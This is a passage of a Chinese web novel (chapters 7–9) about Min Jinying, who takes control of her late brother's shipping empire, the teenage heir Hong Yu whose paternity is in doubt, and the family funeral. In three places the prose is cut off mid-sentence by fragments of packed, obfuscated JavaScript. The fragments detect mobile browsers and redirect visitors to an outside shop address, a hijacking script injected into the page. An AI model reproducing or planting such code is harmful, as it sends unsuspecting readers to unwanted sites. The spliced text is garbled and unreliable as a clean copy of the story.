她不点头就是闵家其他的亲戚来当他的监护人,闵堃也说过,闵金玺停灵的时候他也见识过,闵家亲戚一个一个看他的眼神,好比看一只待宰的羔羊。 如果没有闵金瑛,闵家这一年必定被人瓜分,更不会有人管他们母子。这是闵堃的原话。她说闵金瑛嘴硬心软,说闵金瑛其实极重情义。 “想通了吗?知道错了吗?” 洪宇低着头,指关节都捏的咔咔响。 “对不起,我不该发脾气。” 他继续说,声音更添几分哀戚,:“我是真的太饿了,快月底了饭卡钱不多,所以中午在学校没吃多少。” “闵家没给你加餐费吗?” “加了,我提出来存着。” 闵金瑛挑眉,仍旧看着眼前的路。 洪宇声音平淡无力,表情都柔软下来,臊眉耸眼:“不知道什么时候就会赶我和我妈出来,能存一点是一点。我……” “我说侄子,装一两回就够了,装多了就没意思了。” 洪宇脸色煞白。 闵金瑛将车靠边停,拉起手刹,单手扶着方向盘,侧身来欣赏洪宇此刻这一张脸,品尝上头的尴尬、恐慌、惊惧、不安。 她伸手捏住他的下巴,强迫他来跟自己对视。 “我从前看人玩这种扮猪吃老虎的小伎俩,那时候你还不知道在哪儿呢。你叫我一声姑,那姑姑今天也教你一个道理,这世上不存在什么‘一招鲜吃遍天’,更不要把人当傻子。” 闵金瑛甩开洪宇的脸,回身按下手刹,一踩油门回归正路。过红绿灯时,一张银行卡忽然被甩到洪宇怀里。 洪宇愣愣拿起那张卡,翻过来看见背后用眉笔写了六位数的密码。 他还没偏头,就已经听见闵金瑛的咒骂:“该吃吃你的,瘦得跟鬼一样,也不怕你妈醒了再把她吓死。” 7. Combat stance (4) 安可拉红的超跑停在鹏城第一人民医院的停车场里头。各色黑灰白里头一点红,像在黑白照片里头突兀的一笔颜色,改了整张照片的色调。 闵金瑛开门下车,根本没等洪宇,一面拿着手机发消息,一面迈步进住院部上楼去。如入家门一样娴熟,闵金瑛进了电梯就按下要去的楼层,一瞬疑惑犹豫都没有。 而疑惑出现在洪宇脸上。他看她脚步轻快方向明确,眉心褶皱不住加深——洪峥仪昨天才从ICU出来,转到单人病房。 电梯缓缓往上,洪宇看着电梯轿厢映出来的模糊双人影。他比闵金瑛明明要高一个头,却怎么看都不如她。 “你明明还没有答应接手闵家,他们说,你已经很久没有回过深圳。” 闵金瑛似乎没有预料到洪宇会开口,注意力从手机屏幕里拔出来:“你要问什么?说重点。” “只要所有人都以为你要接管闵家,这些你就已经唾手可得,对吗?” 闵金瑛能肆意嘲讽羞辱他,闵金瑛能为所欲为地控制他和他妈妈,都不过是因为闵家。即将要到闵金瑛手里的闵家,本来要到他手上的闵家。 洪宇问这话的时候还盯着电梯门,眉头锁,嘴紧抿。是在想一道没有想通的题一样,努力排除可能性的表情。 闵金瑛把手机屏幕按灭,双手抄进风衣衣兜里,不答反问:“所有人以为要继承闵家的是你,你现在手上有什么了?” 洪宇眼中如光破迷雾,腾地一亮,又迅速黯淡下去。他看向闵金瑛,看见她脸上那透着鄙夷的慵懒。 “小子,我捏死你容易,不是因为我姓闵,而是因为我是闵金瑛。我靠自己闯了快十年,闯出一片天地。现如今是闵家需要我,不是我需要闵家。” 洪宇只觉脖颈后头一凉,电梯门打开,闵金瑛迈步出去,他攥紧拳头,抬脚跟上去。 这一层安安静静,时值饭后钟点,来探视的人理应多一些,可走廊上人丁稀少,只有沉默往来的医护。闵金瑛带着洪宇走到病房前头停下,她抬抬下巴,双手仍旧抄在衣兜里,并没有要亲手推门的意思,只等着洪宇动作。 洪宇乖乖给闵金瑛推门。闵金瑛果然满意地扯了扯嘴角。 内里还是昨天他来过的样子,宽阔病房内只有一张病床,旁边仪器上跳动着各类监测数据,洪峥仪头上缠着纱布一层又一层,身上插着各种管子维系生命体征,连面容都被宽大的氧气罩阻隔,根本难以看清楚本真样貌。 洪宇把视线从母亲脸上挪开。 “来看妈妈了?”一个护工从卫生间出来,看见洪宇,目光随后落在旁边的闵金瑛身上。 “这是我姑……” “闵总好。” 洪宇脸上闪过怔愣,又恢复了平静。 护工报告工作:“我们刚刚给洪小姐翻身擦拭完,我在这儿守着,另外一个护工去拿洪小姐的药了。” 闵金瑛淡道:“你们做你们的,我就送他过来而已。” 洪宇自己走到角落,去推放在一旁的靠背椅,护工赶紧过去帮忙。靠背椅和小桌都放到病床边,洪宇放下背后书包拿作业课本出来。 “我会自己坐末班地铁回怡福花园。” 好小子。居然敢赶主人家。 闵金瑛冷笑一声,原本想要转身离开,此刻却走向一旁的沙发坐下,翘起二郎腿,半分没有要走的意思。 洪宇拧着眉毛跟闵金瑛对视半晌,看她不走,也不再说什么,低头做作业,跟此前他每一次来看洪峥仪一样,等时间滴答滴答过。 护工给洪峥仪换了药,本来是两个要交接轮换去吃饭,闵金瑛随手打发她们俩结伴去,说会等她们回来再走。 四面墙壁间只剩下洪家母子和闵金瑛,她倚着沙发靠背,细看这对母子。 她对洪峥仪的长相其实还有点印象,之前闵金玺在家里闹得沸沸扬扬,她也问家里知情的佣人要过洪峥仪的照片,甚至还拉着文墨去洪峥仪的学校看过她。 闵金玺的眼光很好。 闵金瑛亲眼看见洪峥仪的评价如是。 特别典型的清丽校花。发黑而肤白,五官秀美气质清冷,一双眼睛湖水一样透亮,眼角微微下垂更显我见犹怜。 所以闵金瑛第一回来病房看见洪峥仪时吓了一跳。眼前这个毫无生气的病人,皮肤苍白暗沉,丝丝皱纹都写满生活蹉磨,没有一处是曾经洪峥仪的样子。 病房的灯忽然被关掉,只留下床头那盏落地灯。 闵金瑛看着洪宇从开关处走回床边,又把那盏落地灯挪开些许,不让灯光落在床头,只照着他做作业的一方小桌。闵金瑛忽然想,这就像是小小的家里洪峥仪深夜安睡,洪宇在旁做作业,不惊扰她美梦。 少年低下头去时,半张脸隐藏在灯光另一侧的阴影里,脸上锐利的线条被暖黄灯光柔和几分,眉眼也显得温顺无害。闵金瑛忽然觉得,其实洪宇更像他妈妈洪峥仪,那下垂眼高眉骨,精致五官无一不能在洪峥仪的脸上找到源头。 “你眼睛不想要了?” 闵金瑛开口,洪宇却没有抬头,手上的笔也没有停下。他回答:“我看得清。” 闵金瑛翘起的二郎腿放下,还未真的起身,洪宇当即伸手去调整落地灯,亮度提高,他拉着落地灯与桌椅,叮铃哐啷地远离床边。 闵金瑛只觉得好玩,低头藏匿嘴角弧度,二郎腿换了一个方向。 “如果你不想离深圳太远,可以去香港读大学。” 洪宇手上的笔一停,他抬头看闵金瑛,眉心微挑,没有贸然接话。 “高考前高考后申请应该都有,你自己找资料吧,我记不清了。去了香港,周末,甚至下课后,都能回来看看你妈。”她垂眼看脚尖,“至于钱,这你不用担心,我不会短了你的学费生活费。” 他开口:“你不是很讨厌我吗?” 闵金瑛抬起眼皮:“你?你还不够格,我只是恨你爸。有道是父债子偿,那我就恨屋及乌。你妈妈不欠我一分一毫,是闵家欠她一辈子。所以你也放心,即便是你去外地读书,我也不会亏待你妈妈,该请的医生,该有的会诊,该做的治疗,全都不会落下。” 落地灯灯光打下来,衬得洪宇眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578315|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼更深,闵金瑛看不见他眼中神色,只听见他说:“前提是我成年之后也把闵家产业全都还给你,不是给你管,是给你,对吗?” 病房里一瞬间极其安静,机器滴答响,输液滴答响,甚至连落地灯的细微电流声都能听见。 闵金瑛噗嗤发出一声笑,将这令人脊背发寒的安静撞碎。 “对嘛,闵金玺的儿子不至于这么笨,说话不应该这么费力气。”闵金瑛眯着眼睛摇摇头,“我不喜欢装傻的人。” 洪宇低下头继续写卷子:“我说过,我对闵家的钱没兴趣,只要能治我妈,你让我做什么都行。你不相信,可以现在就白纸黑字写明白,如果你的律师认为我还没成年不作数,那就我十八岁生日当天写,我生日是十月二十四,离现在不到十个月。你还有什么不放心的?” “你现在的白纸黑字不管用。等你成年了再说,而且我今天也不是来跟你要保证的。” 洪宇的声线平稳:“我知道,你今天是来告诉我,无论我怎么样都争不过你,你手眼通天,捏死我跟捏死一只蚂蚁一样。如果我不跟你耍心眼儿,我得到的东西会更多。你想告诉我这个。” 闵金瑛站起身来,一步一步缓缓走到洪宇身侧,俯身下去,身影如攻城略地,将雪白卷子侵蚀大半。洪宇一手握在桌底,一手捏着笔尖不敢停,顶着这侵略意味十足的距离,继续算卷面的题。 身后的病房门忽然一响,闵金瑛的手在卷面一点。 “对了。” 回来的护工齐齐喊一声“闵总”,闵金瑛直起身来,朝护工点点头,“我回去了,辛苦你们了,又照顾病人又照顾孩子的。” 护工连连说客气,送闵金瑛出病房。 洪宇搓了搓手心的细汗,低头继续算题,可怎么算都不对,倒回去从头再来,又到了闵金瑛指甲尖留下的那细细一道痕迹。 根本没有对,他早把题面的数抄错了。从一开始就算错了。 洪宇握着笔,从手腕到指尖颤抖控制不了。他左手包住右手,把颤抖死死压住。 嗡嗡的震动声从书包响起来,洪宇打开书包,拿出手机来,按下接听:“喂?” “喂?墨墨?听到吗?你到哪儿了?酒店门口?你别动,我转个弯就到大堂了。” 闵金瑛把手机丢到副驾,刚绕到酒店大堂前停下,就看见文墨站在酒店大堂门口,拉着行李箱并公文包,拿着手机还跟她通着电话。 她停车降下车窗:“让他们把行李送上去我房间,我们出去吃宵夜!椰子鸡还是牛肉火锅?” 文墨把行李交给门童,一上车先摆手挡开闵金瑛的邀请,开口即是公事:“你猜对了,洪宇不是闵金玺的儿子。” 闵金瑛一愣,拍起手来哈哈大笑,抱住文墨:“我的好墨墨!真是太好了,好大一顶绿帽子啊!没有比这个更好的消息了!” “你先别高兴得太早。”文墨推开闵金瑛。 “怎么了?” 文墨拧着眉头正色道:“闵金玺的遗嘱上没有写明亲缘,也就是说洪宇是遗嘱继承。他还是法定继承人。” 8. Feint 闵金瑛简直想冲到殡仪馆给闵金玺鞭尸。 如果不是因为“侮辱尸体罪”算刑法,她一定会立刻去做。而这个念头在律师给闵金瑛细致分析对策时尤为强烈。 “闵金玺写下遗嘱的日期,是亲子鉴定报告出具的当天,没有办法证明先后,我们的切入点还是应该回归到报告有误,闵金玺在误认为两人有血缘关系的前提下,确立的遗嘱。以此向法院申请撤销遗嘱,走正常的遗产继承顺序,闵总和闵家老爷子各得一半,同时闵总申请成为闵家老爷子的新监护人,管理他那一半的遗产。” 闵金瑛听完律师这段话,没有回应。她指间捏着一只钢笔在转,垂眼不知思绪在何方。 文墨看了眼闵金瑛:“谁主张谁举证,事件前后无法证明,主动权就不在我们手上。而且这份错误的亲子鉴定报告,是出了错,还是有人故意的,还两说呢。” 闵金瑛手里的钢笔停下:“你觉得是有人造假?” “洪峥仪没有稳定的工作,在山东老家只靠教小孩子画画挣钱,偶尔接些临摹做装饰画的单子。她一个人带着儿子,即便不是为了闵家主动回来的,可已经碰上闵金玺了,难道他们母子不会心动吗?” 律师也跟着点点头:“我会拿这份报告去原本的鉴定机构要求复核。” 文墨向来谨慎,当即补充道:“不要大张旗鼓找机构,私下找这个鉴定员。看他在那段时间去过什么地方,见过什么人,帐面有无不明金额流动。” “如果罪名成立,后果会怎么样?” 律师看向闵金瑛:“如果法院判决侵占罪成立,数额巨大的情况下,两年以上五年以下有期徒刑,更别说还有伪证罪。” 文墨审视闵金瑛的表情,想了想又调转话头:“如果我们不追究,只要求洪宇放弃继承权,民不举官不纠,这件事情也不用闹到台面上。他不用进去,你也能拿到闵家家产,两全其美。” 闵金瑛手上的笔又转起来:“那小子是有点小聪明,可太胆小,做这么大一件事,找关系找钱都不太可能。至于洪峥仪……” 文墨:“金瑛,你别太小瞧人家。他比你开始做生意玩儿命捞钱的时候可没小多少。” 闵金瑛眉心一挑:“那小子能跟我闵金瑛比?” 律师说:“不管如何,只要闵总捏着这份亲子鉴定,证明洪宇不是闵金玺的亲生儿子,要求他放弃继承权,闵家就还在闵总的掌握之中。最坏的情况,是洪宇知道自己是遗嘱继承,但要真上法庭,也还有空间。” 闵金瑛听完摆了摆手:“先去查这个鉴定员,别的再说不迟。那小子还有大半年才成年,当务之急是先拿下越南的第一个港口,两家闵氏海运一旦闹起来,就会让其他对手抢先。拿下越南港口之后再料理他。” 文墨还想再说什么,嘴唇微张,却还是把话吞了回去。 “马律师,洪宇监护人指定的手续开始往下办吧,闵金玺那边也可以烧了。辛苦你从北京来深圳,气候差异这么大,以后还得有时间适应呢。”闵金瑛说完拿了包站起身来。 律师也跟着主顾起身:“现在北方是见不到一抹翠色的时节,深圳却是绿意盎然,我觉得挺舒服的,都想在深圳开个事务所了。” “那敢情好啊,不用找地方了,闵氏的楼任你挑,随便选一层我直接批给你。” “这么说我可要加紧时间努力工作了,闵总坐稳了坐上闵氏的头把交椅,我就能一直有好地方办公了。” 闵金瑛离座披上外套:“好了,别说吉祥废话了,我中午要回闵家吃饭,有进度就打我电话吧。” 三人一起走出茶室,闵金瑛和文墨坐上同一辆车,开往闵家老宅所在的怡福花园。 文墨一上车就把iPad递给闵金瑛:“我让人把公司在深圳的房产整理出来五套,大大小小都有,你挑挑吧。从酒店搬过去住,你要运过来的车啊玩具啊,也有地方放。” 闵金瑛划了两下屏幕,点了一套:“这套吧,再加上我上一年在蛇口买的那套,也让人去收拾出来。” “两套?轮着住?” 闵金瑛摇摇头:“蛇口那套我自己留着住,这套用来养小情儿。” 文墨挑眉:“这么快找到新的了?你回深圳才多久?” “不是新的。是陈玄。” “他不是得在北京继续上学读研吗?你肯异地?” 闵金瑛点头:“他转来深圳的研究院了,所以就复合了。真是个傻小子,深圳资源哪儿比得上北京啊,不过既然他愿意,我也就笑纳咯。送套房子弥补下吧。” “你不是说他小京爷挺傲的,之前送的房啊车啊的都不肯收。” “真是的,读书读傻了。你说好人谁跟钱过不去啊。” “还年轻,等他毕业几年你再看,这一套房子靠他自己这辈子都未必能挣到。” “不收就留着等他毕业了再送吧。” “真好命。”文墨笑着关了iPad:“对了,说回正事。留在京津冀的班底都谈好了,你之前想带来深圳的人,基本都点了头,只是还有财务总监赵祈恒没松口。” 闵金瑛闭上眼睛揉揉眉心:“真服了他这恋爱脑。事情一大堆,还给我找不痛快。算了,赵祁恒那边我另外想办法吧。越南的港口要抓紧,我没有时间陪他胡闹了。” “确实,到洪宇成年还有不到一年,要拿下越南的港口,要铺好南美的航线,还有调研澳洲的航线。事情不少。” 闵金瑛靠在座椅颈枕上,喃喃道:“最好啊,就是洪宇那个蠢小子什么都不知道,等他十八岁一到,我把鉴定报告往他脸上一甩,说他妈可以闵家出钱照顾,他就感恩戴德地拿着俩钱滚蛋。” 这话说得太轻飘飘,惹得文墨都笑着一拍闵金瑛的大腿:“说真的,你别太轻敌了。洪宇是整件事的最大获利者,他的动机最足。” “就一小孩儿,现在我让他往东他不敢往西。” 文墨一啧。 闵金瑛睁开眼,凑过去侧身抱住文墨的胳膊:“好了好了,如果真的是他造假,甚至如果他也知道自己是遗嘱继承,闹到法庭上还得既审且判个三年五载的,我早在深圳站稳脚跟了。我可是闵金瑛!” 文墨叹了口气:“行,你可是闵金瑛!可我还是那句话,我始终觉得,闵家水深,能拿多少拿多少,拿完就跑,这是性价比最高的。小心赔了夫人又折兵。” 文墨送她到闵家门前下车,让司机载她回文家老宅。两人就此说再见,约晚上一起出去吃一家新开的东南亚菜。 闵金瑛目送文墨离开,转身面对闵家大门,一旁安保已经认得她,躬身喊了声闵总。她理了理风衣衣领,迈步走进去。 人嘛,最会见风使舵。上次闵金瑛来闵家的时候,佣人还是带着八卦的目光将她不断打量,今天再来,已经是一个个不管再做什么都会停下,恭恭敬敬喊一声“闵总”。 不是跟程叔喊什么“金瑛小姐”,甚至不是区分各位闵家人而喊的譬如什么“金瑛总”,而是闵家上下远近有且仅有的唯一话事人“闵总”。 厅门大开,闵金瑛还没走进去就看见玄关处养着的兰花与富贵竹。一楼客厅空空,闵金瑛随手放下包,把身上风衣也脱下来甩在一旁的黄花梨太师椅上。 “金瑛小姐回来了。” 闵金瑛闻声回头,看见叠手朝她点头打招呼的程叔。她双手抄进西装裤侧袋:“我姑姑来了吗?还有我那小侄子呢?” 程叔回答:“大小姐在花园喝茶,洪宇少爷在楼上书房学习。午饭就快准备好了,您先坐一会儿,要喝什么茶?还是岭头单丛吗?” 闵金瑛双手背在身后,笑眯眯:“程叔好记性,还记得我喜好。等会儿吧,我现在不想喝。午饭快点吧,我吃好了还有事做,没工夫在这里玩。” 闵金瑛说完走向餐厅,是真的连半刻钟时间花在这里都觉浪费,只想赶紧进入正题。她刚在餐厅坐下,闵堃就由程叔陪着过来了。 “难怪程叔可以在闵家工作这么久。”闵金瑛把手机扣在桌面,手一引向身旁座位,“坐吧姑姑。” 闵堃直入主题,人还没坐下,话已经说出口:“手续要什么时候才能办好?山东的亲戚汕头的亲戚,全都在深圳等着参加葬礼,你哥哥就这么在殡仪馆放着。” 闵金瑛往后靠在椅背上,双手指尖相碰放在膝头:“明天就可以出殡。” “你……” 闵堃扶着身前那把椅子的椅背,刚要开口,却反应过来闵金瑛说的是什么。 她脸上写着疑惑和难以置信,重复闵金瑛的话,只不过换了升调问句,“明天就可以出殡?” 脚步声从餐厅外来,闵金瑛抬眼,看见洪宇走进来,大方地确认自己的话:“对,明天出殡。烧了之后就进墓园,埋在我爸妈旁边。这样姑姑满意吗?” 洪宇没什么反应,面上表情既看不出轻松,也看不出仇怨,他一双眼睛盯着闵金瑛的脸,和闵金瑛看他一样,在分析对方的表情与情绪。 “之前跟你提这件事,你都一而再再而三地推,这是怎么了,做好了对闵氏的背调了?知道没什么问题了?” 闵金瑛笑,站起身来替闵堃拉开椅子:“我说姑姑,这小子才来几天,您就这么对我说话夹枪带棒的,我才是您看着长大的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578316|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闵堃垂眼:“我哪儿有?你要是心向着闵家,好好照料家人,我又怎么会生气?” “闵金玺有千般混蛋,但有一点我承认,闵家家业他打理得很好,没人比我这个竞争对手更了解。”闵金瑛坐回餐桌上首,十指交叉,“我只是有别的东西没有调查清楚,接手闵家这条大船,总要想得清楚些。现在都查干净了,我放心接手了。” 目光随着话语句点,落在洪宇的脸上。 洪宇垂眼低头,在闵堃身边坐下,瘦弱的身形几乎被闵堃遮住,藏在母鸡下的鸡崽子一样,闵金瑛只能勉强看见他在闵堃身后高出一截的脑门。 闵金瑛可不会给他这个机会躲避,当即开口:“你过来,坐这里。” 洪宇抬头,顺着闵金瑛的手指,看向那个离她只隔了一个位置的椅子。他没有立刻迈步过去。 “你现在明白了就好。”她说完抬手让程叔去催催午饭,赶紧要把这一页翻过去一样。手一收回来,就拍拍洪宇的背,下巴自然往上一抬,目光落在闵金瑛边上的位置上。 这是要把洪宇推过去。 佣人端着餐碟碗筷进餐厅,看见闵金瑛的指尖方向,跟着指令把餐具送过去。闵金瑛的闵堃的,唯独洪宇面前是空空,那份餐具放到了闵金瑛指的位置。闵家的佣人可一个比一个识时务,怎么会不知道谁的话更有斤两分量。 闵金瑛又露出那天开着超跑去接洪宇时,那个“别让我再说一遍”的表情。 她冷脸不会再开口,洪宇咬咬牙,撑着桌子起身,走向闵金瑛的指尖,在被安排好的位置坐下。 闵金瑛收回手,看向闵堃。闵堃面色并不算好,可也没有要护着洪宇的意思。 “我不是什么有耐心的人,也没养过孩子,你最好乖乖听话,这世界上还没人夸过我好脾气。”闵金瑛慢条斯理地把餐巾铺在身前,等洪宇的回答。 洪宇低头:“明白了,姑姑。” 闵金瑛看着洪宇这低眉顺眼的样子,她左看右看。嗯,之前先入为主才眼花,现在仔细看,是真的一丁点儿都找不到闵金玺的影子。 那个高傲的卑劣的不可一世的的闵金玺,此刻在这张脸上看不到半点踪影,第一次见洪宇时的感觉不过是错觉。 就这么一个瘦瘦弱弱的小孩儿,虽然有点揣摩人心的小聪明,可被她吓一吓就现出原形。这样的小孩儿,如果知道自己不是闵金玺的亲生儿子,怎么有胆子来图谋闵家这么大的家业?怎么有本事去制造一份假的亲子鉴定证明? 天方夜谭。 菜品次第上,闵堃开口:“吃饭吧。” 闵金瑛拿起筷子来,筷子尖刚夹中桌上那条笋壳鱼的鱼眼睛,停住。 她抬眼看洪宇:“你不是快寒假了,跟着我进闵氏实习。怎么样?” 洪宇的筷子停在半空中。 “跟着我进闵氏实习,怎么样?” 洪宇没有立时回答这话。 闵堃挑起眉毛没有掩盖惊讶:“你是真心这么想?让洪宇进闵氏实习?” 闵金瑛手中的筷子往下再落,夹紧了桌上那条笋壳鱼的鱼眼睛,剜出眼珠连着鱼脸肉。没有往自己的碗里头去,她笑眯眯地把到手的鱼肉放进了洪宇面前的餐碟里。 那块鱼肉在冰凉餐碟里头,却如若怀中烫手山芋。 洪宇抬眼跟闵金瑛对视,她嘴角扬起过分的弧度,笑得一双眼珠子漆黑,让人后脖颈发凉。 “当然是真心啊,我哥像他这么大的时候,早就开始管家里的生意了。这是他的亲生儿子,虽然起步晚,可是现在开始学,我想也来得及。姑姑说的我也想过了,到底是血浓于水。而且人死灯灭,闵金玺的账,我不该记到这小子的头上。” 她声音也如这笑容一样,浸透着诡异的和善。 这是一块送到洪宇嘴边的肉。而到嘴边的肉,闵金瑛不信会有人愿意放弃。如果真的要放弃,那只能是因为害怕,怕事情闹大了他自己无法承担。 洪宇还没有回答,闵堃反倒替他表态反试探闵金瑛:“只是他眼看着就要高考,现在还太早了吧?” 闵金瑛懒懒拨弄碗里的饭菜:“哥哥和我什么时候认真上过一天大学?爷爷南下经商,直接把爸爸从山东老家带过来,高考都没让他考。我们这闵家门里什么时候真的出过读书人?” “我是真的对做生意不感兴趣,我还想继续读研读博。我不想去闵氏。” 闵金瑛循声看向洪宇,他低着头,看着面前那块鱼肉,筷子紧紧捏在手中没有动,喉结上下滚动,才慢慢抬起眼皮来怯生生对上闵金瑛的眼神。 呵呵。真是个胆小鬼。 9. Jab 闵金瑛眯着眼睛,细细打量他这表情神态:“你成年之后不管你想管还是不想管,你爹闵金玺生前所有的遗产都会落到你的手上。单论公司股份就不仅有闵家的闵氏海运,还有闵氏集团其他产业上下游各个子公司分公司,连带着他私人名下的资金和不动产,这可不是一笔小数字。” 她停顿几秒,接下来的话似是随口补充:“这个数额啊,如果有谁吃了熊心豹子胆要侵吞,那是不死也得牢底坐穿。” 闵金瑛一双眼如雌虎狩猎,如果目光有颜色有动作,此刻是绿幽幽地咬着洪宇的脸,在他抬起眼皮的一瞬间,立刻攫住他的视线。 洪宇终于动筷,吞下闵金瑛夹给他的那块鱼脸肉,定定看着她,顶着她的审视与恫吓:“我还有几门考试要考,可以放寒假再说吗?” 闵金瑛眼尾随着笑意飞扬,仔细在洪宇的眼角眉梢的微表情中搜寻乐趣。 洪宇立刻垂下眼去,夹了一筷子菜到自己碗里,“而且我还得去问问老师,我寒假需不需要补课,等之后再说吧,行吗,姑姑?” 他说完,夹菜配着饭细嚼慢咽下肚,再没抬眼主动延续这话题。 闵金瑛舌头顶了顶一侧虎牙齿尖,又笑起来说:“当然可以,我一定给你留个位置。我说侄子,去闵氏实习,你是想姑姑给你找个导师带你呢?还是你直接就来跟着你姑姑我,我手把手教你怎么做生意。你想呢?” 洪宇还是乖巧低头:“再说吧,真要去的话,姑姑决定就好。” 闵金瑛又要开口,可旁边的闵堃已经看明白这桌上这一个步步进逼玩心正旺,一个寸寸退让招架不住,忍不住帮洪宇说话,以进为退:“当然是跟着你好一些,你把他丢给别人,别人既不会用心教他,也不敢让他光明正大地闲着,都是浪费时间。” 闵金瑛啧啧两声:“还说呢,这么护着他。” 闵堃拧着眉毛摇头,伸手盖在闵金瑛的小臂上,“他年纪还小,你别老故意欺负他。” 闵金瑛把手臂抽回来:“这话我不爱听啊,我可以带小孩儿,可我来带孩子的话,要打要骂,可都随我的。什么叫故意欺负他?我要是乐意欺负他也是看得起他。” 闵堃自知多说无用,将话题转换:“好了不说这个了。你既然要接手闵家了,那金玺的葬礼……” “姑姑你放心,我会给闵金玺办得风风光光的。这么好迎来送往结交政商的机会,我怎么会放过呢?怎么会替闵家放过呢?” 闵堃原本只是想确认葬礼日期,闵金瑛这么说,她直接问:“金玺的葬礼,还会有谁要来?” “闵金玺的葬礼有谁来了?”闵金瑛在镜子前整理衣服选择配饰,透过镜子的反射看向靠着电视机背景墙的文墨。 文墨侧身把包拿过来,翻出iPad,打开来吊唁的宾客名单,递给闵金瑛。上头已经高亮出了好几个名字,文墨走上前,指尖点着给闵金瑛解释。 “这几个是和闵金玺合作很多年的船舶制造商,这些是闵金玺生前还有接触的其他几个越南港口的潜在合伙人。这个阮总你还记得吧?” “记得,忘了谁也不会忘了她。不就是在我和闵金玺之间当墙头草那个嘛,手上贪了这么多还不知足,偏偏她手上的超级港口最可观。” 闵金瑛对这些人名早有印象,往后翻就看见文墨整理的资料,右手拿起一枚胸针低头比在丝巾上,左手还捏着iPad,一目十行地记完最后的一页。 “王怀钦没来?” 文墨摇摇头:“据说是去云南考察了,帛金、挽联、花圈倒是全都到了。” “云南考察?”闵金瑛把iPad还给文墨,冷冷哼一声,低头把胸针扣好,“这条毒蛇和闵金玺从小到大穿一条裤子一样好,现在兄弟死了,自己倒跑去捞钱去了。” 闵金瑛拿起酒店房卡与车钥匙,刚打开门,回身跟文墨说:“打探一下王怀钦去云南具体考察什么项目?以前闵金玺在,他不会跟闵金玺抢,别是现在明修栈道暗渡陈仓,说着去云南,可却来跟我抢越南的港口了。” 文墨点头,和闵金瑛一起下楼去酒店停车场,文墨在副驾驶位上办公,闵金瑛开车,前往殡仪馆。 开门下车前,文墨拉住闵金瑛的手,“你闵家的亲戚你也知道的,向来没有分寸,今天千万要沉住气。闵家那些亲戚,一个个睚眦必报的,尤其是你二叔家,你现在还没有在闵家站稳脚跟,别给以后留坑。” 闵金瑛闭着眼睛点头,解开安全带:“我知道了,生意场上不懂事的草包我也见多了,你放心吧。” 两人下车,步行进殡仪馆。 礼堂前少年在门边站着,披麻戴孝,双手叠在身前,朝前来的宾客鞠躬致谢。程叔在旁边站着,西装衬得白发更惹眼。 闵金瑛皱了皱眉头,侧身贴近文墨的耳朵:“闵金玺一辈子威风,临了要多谢这顶绿帽子才有人给他摔瓦起灵,可给他送殡的老弱病残孕五个占了俩。” 文墨跟闵金瑛对视一眼,齐齐低头藏嘴角笑意。 两人话语声音细小,可咬耳朵低头笑的样子,叫台阶上的一老一小看得清楚。闵金瑛大摇大摆地上前,看看程叔的一张黑脸,又瞧瞧洪宇这小白脸。 她拿着手包叠手在身前:“程叔在这儿迎宾就行了,洪宇你跟我进去招呼人,闵家的生意伙伴大大小小今天都到了,光在门口点头哈腰可守不住闵家家业。” 没等程叔反应,洪宇先嗯声答应,乖乖走到闵金瑛身边。闵金瑛懒懒看了一眼程叔,带着洪宇和文墨往礼堂内走。脚还没有迈进去,闵金瑛已经瞧见里头挽联高挂花圈无数,宾客更是三三两两聊天,人数不少。 闵金瑛侧身帮洪宇理了理孝帽帽檐,低声道:“跟着我,别乱说话,实在不知道干什么说什么,就好好流眼泪,眼泪实在掉不出来就低头闭上嘴,知道了吗?” 闵金瑛动作与话语从来就没有这么软和过。洪宇愣了几秒,把头一点,低眉顺眼说一句:“知道了。” 闵金瑛嗯了一声,转身进礼堂。 礼堂正中央,闵金玺躺在花团锦簇中,墙上挽联与周围花圈,一圈一圈将这追悼会包围装点。 刚进礼堂,文墨就偏头跟闵金瑛耳语:“闵金玺的助理今早递了辞呈。” 闵金瑛跟文墨对视一眼:“他不肯去管闵家服装制造的产业线转型?他跟着闵金玺打拼这么多年,舍得就这么放手?” “只说是累了,想要歇一歇,可能要自己创业。可闵金玺的追悼会葬礼都是他一手操办的,摆明了是送最后一程就走。只是不想和我们共事罢了。” 闵金瑛眼珠子转了转:“他不能走,我还需要他对付闵家那群老东西呢,你帮我跟他约个时间聊一聊,就今天葬礼之后吧。你跟他说,我闵金瑛不是容不下人的,可他非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578317|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要‘好奴不事二主’,连自己一手打拼下来的事业都不要,这样的人我也不稀罕。” 文墨点点头,正要转身离开去找闵金玺的助理,抬眼就看见闵家二叔走过来,侧身捏了捏闵金瑛的手臂,跟她打了个眼色。 